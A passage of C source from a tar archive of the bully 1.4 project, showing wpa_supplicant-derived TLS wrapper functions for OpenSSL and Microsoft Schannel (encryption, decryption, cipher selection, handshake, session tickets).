tls_show_errors(MSG_INFO, __func__, "Encryption failed - BIO_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { int res; struct wpabuf *buf; /* Give encrypted data from TLS tunnel for OpenSSL to decrypt. */ res = BIO_write(conn->ssl_in, wpabuf_head(in_data), wpabuf_len(in_data)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - BIO_write"); return NULL; } if (BIO_reset(conn->ssl_out) < 0) { tls_show_errors(MSG_INFO, __func__, "BIO_reset failed"); return NULL; } /* Read decrypted data for further processing */ /* * Even though we try to disable TLS compression, it is possible that * this cannot be done with all TLS libraries. Add extra buffer space * to handle the possibility of the decrypted data being longer than * input data. */ buf = wpabuf_alloc((wpabuf_len(in_data) + 500) * 3); if (buf == NULL) return NULL; res = SSL_read(conn->ssl, wpabuf_mhead(buf), wpabuf_size(buf)); if (res < 0) { tls_show_errors(MSG_INFO, __func__, "Decryption failed - SSL_read"); wpabuf_free(buf); return NULL; } wpabuf_put(buf, res); return buf; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->ssl->hit : 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { char buf[100], *pos, *end; u8 *c; int ret; if (conn == NULL || conn->ssl == NULL || ciphers == NULL) return -1; buf[0] = '\0'; pos = buf; end = pos + sizeof(buf); c = ciphers; while (*c != TLS_CIPHER_NONE) { const char *suite; switch (*c) { case TLS_CIPHER_RC4_SHA: suite = "RC4-SHA"; break; case TLS_CIPHER_AES128_SHA: suite = "AES128-SHA"; break; case TLS_CIPHER_RSA_DHE_AES128_SHA: suite = "DHE-RSA-AES128-SHA"; break; case TLS_CIPHER_ANON_DH_AES128_SHA: suite = "ADH-AES128-SHA"; break; default: wpa_printf(MSG_DEBUG, "TLS: Unsupported " "cipher selection: %d", *c); return -1; } ret = os_snprintf(pos, end - pos, ":%s", suite); if (ret < 0 || ret >= end - pos) break; pos += ret; c++; } wpa_printf(MSG_DEBUG, "OpenSSL: cipher suites: %s", buf + 1); if (SSL_set_cipher_list(conn->ssl, buf + 1) != 1) { tls_show_errors(MSG_INFO, __func__, "Cipher suite configuration failed"); return -1; } return 0; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { const char *name; if (conn == NULL || conn->ssl == NULL) return -1; name = SSL_get_cipher(conn->ssl); if (name == NULL) return -1; os_strlcpy(buf, name, buflen); return 0; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { SSL_set_options(conn->ssl, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS); return 0; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* ClientHello TLS extensions require a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { if (conn == NULL || conn->ssl == NULL || ext_type != 35) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE if (SSL_set_session_ticket_ext(conn->ssl, (void *) data, data_len) != 1) return -1; #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ if (SSL_set_hello_extension(conn->ssl, ext_type, (void *) data, data_len) != 1) return -1; #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ return 0; } #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; unsigned long err; if (conn == NULL) return -1; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (params->engine) { wpa_printf(MSG_DEBUG, "SSL: Initializing TLS engine"); ret = tls_engine_init(conn, params->engine_id, params->pin, params->key_id, params->cert_id, params->ca_cert_id); if (ret) return ret; } if (tls_connection_set_subject_match(conn, params->subject_match, params->altsubject_match)) return -1; if (params->engine && params->ca_cert_id) { if (tls_connection_engine_ca_cert(tls_ctx, conn, params->ca_cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_ca_cert(tls_ctx, conn, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) return -1; if (params->engine && params->cert_id) { if (tls_connection_engine_client_cert(conn, params->cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_client_cert(conn, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) return -1; if (params->engine && params->key_id) { wpa_printf(MSG_DEBUG, "TLS: Using private key from engine"); if (tls_connection_engine_private_key(conn)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_private_key(tls_ctx, conn, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key '%s'", params->private_key); return -1; } if (tls_connection_dh(conn, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } tls_get_errors(tls_ctx); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { SSL_CTX *ssl_ctx = tls_ctx; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (tls_global_ca_cert(ssl_ctx, params->ca_cert)) return -1; if (tls_global_client_cert(ssl_ctx, params->client_cert)) return -1; if (tls_global_private_key(ssl_ctx, params->private_key, params->private_key_passwd)) return -1; if (tls_global_dh(ssl_ctx, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { const EVP_CIPHER *c; const EVP_MD *h; if (conn == NULL || conn->ssl == NULL || conn->ssl->enc_read_ctx == NULL || conn->ssl->enc_read_ctx->cipher == NULL || conn->ssl->read_hash == NULL) return -1; c = conn->ssl->enc_read_ctx->cipher; #if OPENSSL_VERSION_NUMBER >= 0x00909000L h = EVP_MD_CTX_md(conn->ssl->read_hash); #else h = conn->ssl->read_hash; #endif return 2 * (EVP_CIPHER_key_length(c) + EVP_MD_size(h) + EVP_CIPHER_iv_length(c)); } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* Pre-shared secred requires a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ static int tls_sess_sec_cb(SSL *s, void *secret, int *secret_len, STACK_OF(SSL_CIPHER) *peer_ciphers, SSL_CIPHER **cipher, void *arg) { struct tls_connection *conn = arg; int ret; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; ret = conn->session_ticket_cb(conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, s->s3->client_random, s->s3->server_random, secret); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ret <= 0) return 0; *secret_len = SSL_MAX_MASTER_KEY_LENGTH; return 1; } #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE static int tls_session_ticket_ext_cb(SSL *s, const unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: length=%d", __func__, len); os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return 0; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; return 1; } #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET static void tls_hello_ext_cb(SSL *s, int client_server, int type, unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, type, len); if (type == TLSEXT_TYPE_session_ticket && !client_server) { os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; } } #else /* SSL_OP_NO_TICKET */ static int tls_hello_ext_cb(SSL *s, TLS_EXTENSION *ext, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, ext->type, ext->length); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ext->type == 35) { wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", ext->data, ext->length); conn->session_ticket = os_malloc(ext->length); if (conn->session_ticket == NULL) return SSL_AD_INTERNAL_ERROR; os_memcpy(conn->session_ticket, ext->data, ext->length); conn->session_ticket_len = ext->length; } return 0; } #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; if (cb) { if (SSL_set_session_secret_cb(conn->ssl, tls_sess_sec_cb, conn) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, tls_session_ticket_ext_cb, conn); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, tls_hello_ext_cb); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, tls_hello_ext_cb, conn) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } else { if (SSL_set_session_secret_cb(conn->ssl, NULL, NULL) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, NULL, NULL); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, NULL); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, NULL, NULL) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } return 0; #else /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ return -1; #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ } bully-1.4-00/src/crypto/tls_schannel.c000077500000000000000000000465311361530463600176750ustar00rootroot00000000000000/* * SSL/TLS interface functions for Microsoft Schannel * Copyright (c) 2005-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ /* * FIX: Go through all SSPI functions and verify what needs to be freed * FIX: session resumption * TODO: add support for server cert chain validation * TODO: add support for CA cert validation * TODO: add support for EAP-TLS (client cert/key conf) */ #include "includes.h" #include #include #include #define SECURITY_WIN32 #include #include #include "common.h" #include "tls.h" struct tls_global { HMODULE hsecurity; PSecurityFunctionTable sspi; HCERTSTORE my_cert_store; }; struct tls_connection { int established, start; int failed, read_alerts, write_alerts; SCHANNEL_CRED schannel_cred; CredHandle creds; CtxtHandle context; u8 eap_tls_prf[128]; int eap_tls_prf_set; }; static int schannel_load_lib(struct tls_global *global) { INIT_SECURITY_INTERFACE pInitSecurityInterface; global->hsecurity = LoadLibrary(TEXT("Secur32.dll")); if (global->hsecurity == NULL) { wpa_printf(MSG_ERROR, "%s: Could not load Secur32.dll - 0x%x", __func__, (unsigned int) GetLastError()); return -1; } pInitSecurityInterface = (INIT_SECURITY_INTERFACE) GetProcAddress( global->hsecurity, "InitSecurityInterfaceA"); if (pInitSecurityInterface == NULL) { wpa_printf(MSG_ERROR, "%s: Could not find " "InitSecurityInterfaceA from Secur32.dll", __func__); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } global->sspi = pInitSecurityInterface(); if (global->sspi == NULL) { wpa_printf(MSG_ERROR, "%s: Could not read security " "interface - 0x%x", __func__, (unsigned int) GetLastError()); FreeLibrary(global->hsecurity); global->hsecurity = NULL; return -1; } return 0; } void * tls_init(const struct tls_config *conf) { struct tls_global *global; global = os_zalloc(sizeof(*global)); if (global == NULL) return NULL; if (schannel_load_lib(global)) { os_free(global); return NULL; } return global; } void tls_deinit(void *ssl_ctx) { struct tls_global *global = ssl_ctx; if (global->my_cert_store) CertCloseStore(global->my_cert_store, 0); FreeLibrary(global->hsecurity); os_free(global); } int tls_get_errors(void *ssl_ctx) { return 0; } struct tls_connection * tls_connection_init(void *ssl_ctx) { struct tls_connection *conn; conn = os_zalloc(sizeof(*conn)); if (conn == NULL) return NULL; conn->start = 1; return conn; } void tls_connection_deinit(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return; os_free(conn); } int tls_connection_established(void *ssl_ctx, struct tls_connection *conn) { return conn ? conn->established : 0; } int tls_connection_shutdown(void *ssl_ctx, struct tls_connection *conn) { struct tls_global *global = ssl_ctx; if (conn == NULL) return -1; conn->eap_tls_prf_set = 0; conn->established = conn->failed = 0; conn->read_alerts = conn->write_alerts = 0; global->sspi->DeleteSecurityContext(&conn->context); /* FIX: what else needs to be reseted? */ return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *ssl_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *ssl_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_get_keys(void *ssl_ctx, struct tls_connection *conn, struct tls_keys *keys) { /* Schannel does not export master secret or client/server random. */ return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { /* * Cannot get master_key from Schannel, but EapKeyBlock can be used to * generate session keys for EAP-TLS and EAP-PEAPv0. EAP-PEAPv2 and * EAP-TTLS cannot use this, though, since they are using different * labels. The only option could be to implement TLSv1 completely here * and just use Schannel or CryptoAPI for low-level crypto * functionality.. */ if (conn == NULL || !conn->eap_tls_prf_set || server_random_first || os_strcmp(label, "client EAP encryption") != 0 || out_len > sizeof(conn->eap_tls_prf)) return -1; os_memcpy(out, conn->eap_tls_prf, out_len); return 0; } static struct wpabuf * tls_conn_hs_clienthello(struct tls_global *global, struct tls_connection *conn) { DWORD sspi_flags, sspi_flags_out; SecBufferDesc outbuf; SecBuffer outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; wpa_printf(MSG_DEBUG, "%s: Generating ClientHello", __func__); outbufs[0].pvBuffer = NULL; outbufs[0].BufferType = SECBUFFER_TOKEN; outbufs[0].cbBuffer = 0; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, NULL, NULL /* server name */, sspi_flags, 0, SECURITY_NATIVE_DREP, NULL, 0, &conn->context, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ if (status != SEC_I_CONTINUE_NEEDED) { wpa_printf(MSG_ERROR, "%s: InitializeSecurityContextA " "failed - 0x%x", __func__, (unsigned int) status); return NULL; } if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { struct wpabuf *buf; wpa_hexdump(MSG_MSGDUMP, "SChannel - ClientHello", outbufs[0].pvBuffer, outbufs[0].cbBuffer); conn->start = 0; buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); if (buf == NULL) return NULL; global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); return buf; } wpa_printf(MSG_ERROR, "SChannel: Failed to generate ClientHello"); return NULL; } #ifndef SECPKG_ATTR_EAP_KEY_BLOCK #define SECPKG_ATTR_EAP_KEY_BLOCK 0x5b typedef struct _SecPkgContext_EapKeyBlock { BYTE rgbKeys[128]; BYTE rgbIVs[64]; } SecPkgContext_EapKeyBlock, *PSecPkgContext_EapKeyBlock; #endif /* !SECPKG_ATTR_EAP_KEY_BLOCK */ static int tls_get_eap(struct tls_global *global, struct tls_connection *conn) { SECURITY_STATUS status; SecPkgContext_EapKeyBlock kb; /* Note: Windows NT and Windows Me/98/95 do not support getting * EapKeyBlock */ status = global->sspi->QueryContextAttributes( &conn->context, SECPKG_ATTR_EAP_KEY_BLOCK, &kb); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes(" "SECPKG_ATTR_EAP_KEY_BLOCK) failed (%d)", __func__, (int) status); return -1; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbKeys", kb.rgbKeys, sizeof(kb.rgbKeys)); wpa_hexdump_key(MSG_MSGDUMP, "Schannel - EapKeyBlock - rgbIVs", kb.rgbIVs, sizeof(kb.rgbIVs)); os_memcpy(conn->eap_tls_prf, kb.rgbKeys, sizeof(kb.rgbKeys)); conn->eap_tls_prf_set = 1; return 0; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { struct tls_global *global = tls_ctx; DWORD sspi_flags, sspi_flags_out; SecBufferDesc inbuf, outbuf; SecBuffer inbufs[2], outbufs[1]; SECURITY_STATUS status; TimeStamp ts_expiry; struct wpabuf *out_buf = NULL; if (appl_data) *appl_data = NULL; if (conn->start) return tls_conn_hs_clienthello(global, conn); wpa_printf(MSG_DEBUG, "SChannel: %d bytes handshake data to process", (int) wpabuf_len(in_data)); sspi_flags = ISC_REQ_REPLAY_DETECT | ISC_REQ_CONFIDENTIALITY | ISC_RET_EXTENDED_ERROR | ISC_REQ_ALLOCATE_MEMORY | ISC_REQ_MANUAL_CRED_VALIDATION; /* Input buffer for Schannel */ inbufs[0].pvBuffer = (u8 *) wpabuf_head(in_data); inbufs[0].cbBuffer = wpabuf_len(in_data); inbufs[0].BufferType = SECBUFFER_TOKEN; /* Place for leftover data from Schannel */ inbufs[1].pvBuffer = NULL; inbufs[1].cbBuffer = 0; inbufs[1].BufferType = SECBUFFER_EMPTY; inbuf.cBuffers = 2; inbuf.pBuffers = inbufs; inbuf.ulVersion = SECBUFFER_VERSION; /* Output buffer for Schannel */ outbufs[0].pvBuffer = NULL; outbufs[0].cbBuffer = 0; outbufs[0].BufferType = SECBUFFER_TOKEN; outbuf.cBuffers = 1; outbuf.pBuffers = outbufs; outbuf.ulVersion = SECBUFFER_VERSION; #ifdef UNICODE status = global->sspi->InitializeSecurityContextW( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #else /* UNICODE */ status = global->sspi->InitializeSecurityContextA( &conn->creds, &conn->context, NULL, sspi_flags, 0, SECURITY_NATIVE_DREP, &inbuf, 0, NULL, &outbuf, &sspi_flags_out, &ts_expiry); #endif /* UNICODE */ wpa_printf(MSG_MSGDUMP, "Schannel: InitializeSecurityContext -> " "status=%d inlen[0]=%d intype[0]=%d inlen[1]=%d " "intype[1]=%d outlen[0]=%d", (int) status, (int) inbufs[0].cbBuffer, (int) inbufs[0].BufferType, (int) inbufs[1].cbBuffer, (int) inbufs[1].BufferType, (int) outbufs[0].cbBuffer); if (status == SEC_E_OK || status == SEC_I_CONTINUE_NEEDED || (FAILED(status) && (sspi_flags_out & ISC_RET_EXTENDED_ERROR))) { if (outbufs[0].cbBuffer != 0 && outbufs[0].pvBuffer) { wpa_hexdump(MSG_MSGDUMP, "SChannel - output", outbufs[0].pvBuffer, outbufs[0].cbBuffer); out_buf = wpabuf_alloc_copy(outbufs[0].pvBuffer, outbufs[0].cbBuffer); global->sspi->FreeContextBuffer(outbufs[0].pvBuffer); outbufs[0].pvBuffer = NULL; if (out_buf == NULL) return NULL; } } switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INCOMPLETE_MESSAGE"); break; case SEC_I_CONTINUE_NEEDED: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_CONTINUE_NEEDED"); break; case SEC_E_OK: /* TODO: verify server certificate chain */ wpa_printf(MSG_DEBUG, "Schannel: SEC_E_OK - Handshake " "completed successfully"); conn->established = 1; tls_get_eap(global, conn); /* Need to return something to get final TLS ACK. */ if (out_buf == NULL) out_buf = wpabuf_alloc(0); if (inbufs[1].BufferType == SECBUFFER_EXTRA) { wpa_hexdump(MSG_MSGDUMP, "SChannel - Encrypted " "application data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); if (appl_data) { *appl_data = wpabuf_alloc_copy( outbufs[1].pvBuffer, outbufs[1].cbBuffer); } global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } break; case SEC_I_INCOMPLETE_CREDENTIALS: wpa_printf(MSG_DEBUG, "Schannel: SEC_I_INCOMPLETE_CREDENTIALS"); break; case SEC_E_WRONG_PRINCIPAL: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_WRONG_PRINCIPAL"); break; case SEC_E_INTERNAL_ERROR: wpa_printf(MSG_DEBUG, "Schannel: SEC_E_INTERNAL_ERROR"); break; } if (FAILED(status)) { wpa_printf(MSG_DEBUG, "Schannel: Handshake failed " "(out_buf=%p)", out_buf); conn->failed++; global->sspi->DeleteSecurityContext(&conn->context); return out_buf; } if (inbufs[1].BufferType == SECBUFFER_EXTRA) { /* TODO: Can this happen? What to do with this data? */ wpa_hexdump(MSG_MSGDUMP, "SChannel - Leftover data", inbufs[1].pvBuffer, inbufs[1].cbBuffer); global->sspi->FreeContextBuffer(inbufs[1].pvBuffer); inbufs[1].pvBuffer = NULL; } return out_buf; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; SecPkgContext_StreamSizes sizes; int i; struct wpabuf *out; status = global->sspi->QueryContextAttributes(&conn->context, SECPKG_ATTR_STREAM_SIZES, &sizes); if (status != SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: QueryContextAttributes failed", __func__); return NULL; } wpa_printf(MSG_DEBUG, "%s: Stream sizes: header=%u trailer=%u", __func__, (unsigned int) sizes.cbHeader, (unsigned int) sizes.cbTrailer); out = wpabuf_alloc(sizes.cbHeader + wpabuf_len(in_data) + sizes.cbTrailer); os_memset(&bufs, 0, sizeof(bufs)); bufs[0].pvBuffer = wpabuf_put(out, sizes.cbHeader); bufs[0].cbBuffer = sizes.cbHeader; bufs[0].BufferType = SECBUFFER_STREAM_HEADER; bufs[1].pvBuffer = wpabuf_put(out, 0); wpabuf_put_buf(out, in_data); bufs[1].cbBuffer = wpabuf_len(in_data); bufs[1].BufferType = SECBUFFER_DATA; bufs[2].pvBuffer = wpabuf_put(out, sizes.cbTrailer); bufs[2].cbBuffer = sizes.cbTrailer; bufs[2].BufferType = SECBUFFER_STREAM_TRAILER; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 3; buf.pBuffers = bufs; status = global->sspi->EncryptMessage(&conn->context, 0, &buf, 0); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: EncryptMessage pointers: " "out_data=%p bufs %p %p %p", wpabuf_head(out), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer); for (i = 0; i < 3; i++) { if (bufs[i].pvBuffer && bufs[i].BufferType != SECBUFFER_EMPTY) { wpa_hexdump(MSG_MSGDUMP, "SChannel: bufs", bufs[i].pvBuffer, bufs[i].cbBuffer); } } if (status == SEC_E_OK) { wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); wpa_hexdump_buf_key(MSG_MSGDUMP, "Schannel: Encrypted data " "from EncryptMessage", out); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(out); return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { struct tls_global *global = tls_ctx; SECURITY_STATUS status; SecBufferDesc buf; SecBuffer bufs[4]; int i; struct wpabuf *out, *tmp; wpa_hexdump_buf(MSG_MSGDUMP, "Schannel: Encrypted data to DecryptMessage", in_data); os_memset(&bufs, 0, sizeof(bufs)); tmp = wpabuf_dup(in_data); if (tmp == NULL) return NULL; bufs[0].pvBuffer = wpabuf_mhead(tmp); bufs[0].cbBuffer = wpabuf_len(in_data); bufs[0].BufferType = SECBUFFER_DATA; bufs[1].BufferType = SECBUFFER_EMPTY; bufs[2].BufferType = SECBUFFER_EMPTY; bufs[3].BufferType = SECBUFFER_EMPTY; buf.ulVersion = SECBUFFER_VERSION; buf.cBuffers = 4; buf.pBuffers = bufs; status = global->sspi->DecryptMessage(&conn->context, &buf, 0, NULL); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage -> " "status=%d len[0]=%d type[0]=%d len[1]=%d type[1]=%d " "len[2]=%d type[2]=%d len[3]=%d type[3]=%d", (int) status, (int) bufs[0].cbBuffer, (int) bufs[0].BufferType, (int) bufs[1].cbBuffer, (int) bufs[1].BufferType, (int) bufs[2].cbBuffer, (int) bufs[2].BufferType, (int) bufs[3].cbBuffer, (int) bufs[3].BufferType); wpa_printf(MSG_MSGDUMP, "Schannel: DecryptMessage pointers: " "out_data=%p bufs %p %p %p %p", wpabuf_head(tmp), bufs[0].pvBuffer, bufs[1].pvBuffer, bufs[2].pvBuffer, bufs[3].pvBuffer); switch (status) { case SEC_E_INCOMPLETE_MESSAGE: wpa_printf(MSG_DEBUG, "%s: SEC_E_INCOMPLETE_MESSAGE", __func__); break; case SEC_E_OK: wpa_printf(MSG_DEBUG, "%s: SEC_E_OK", __func__); for (i = 0; i < 4; i++) { if (bufs[i].BufferType == SECBUFFER_DATA) break; } if (i == 4) { wpa_printf(MSG_DEBUG, "%s: No output data from " "DecryptMessage", __func__); wpabuf_free(tmp); return NULL; } wpa_hexdump_key(MSG_MSGDUMP, "Schannel: Decrypted data from " "DecryptMessage", bufs[i].pvBuffer, bufs[i].cbBuffer); out = wpabuf_alloc_copy(bufs[i].pvBuffer, bufs[i].cbBuffer); wpabuf_free(tmp); return out; } wpa_printf(MSG_DEBUG, "%s: Failed - status=%d", __func__, (int) status); wpabuf_free(tmp); return NULL; } int tls_connection_resumed(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *ssl_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *ssl_ctx, struct tls_connection *conn) { return 0; } int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == 